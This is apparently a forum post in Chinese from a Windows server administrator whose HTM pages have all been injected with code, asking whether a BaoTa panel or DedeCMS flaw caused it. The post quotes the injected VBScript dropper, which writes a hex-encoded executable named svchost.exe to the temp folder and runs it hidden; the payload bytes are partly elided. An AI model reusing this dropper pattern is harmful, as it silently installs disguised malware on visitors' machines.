服务器被挂马！

服务器被挂马！

所有HTM 页面全部被挂上这些代码

win服务器 端口只开了一个远程桌面 及WEB访问的，密码不是弱密码，远程端口还改了.....网站我还用的反向代理，该怎么解决

是宝塔自身漏洞吗 还是 织梦程序的漏洞 如何解决



<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B8000中间省略....好多573730000004472616746696E69736800C705700000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>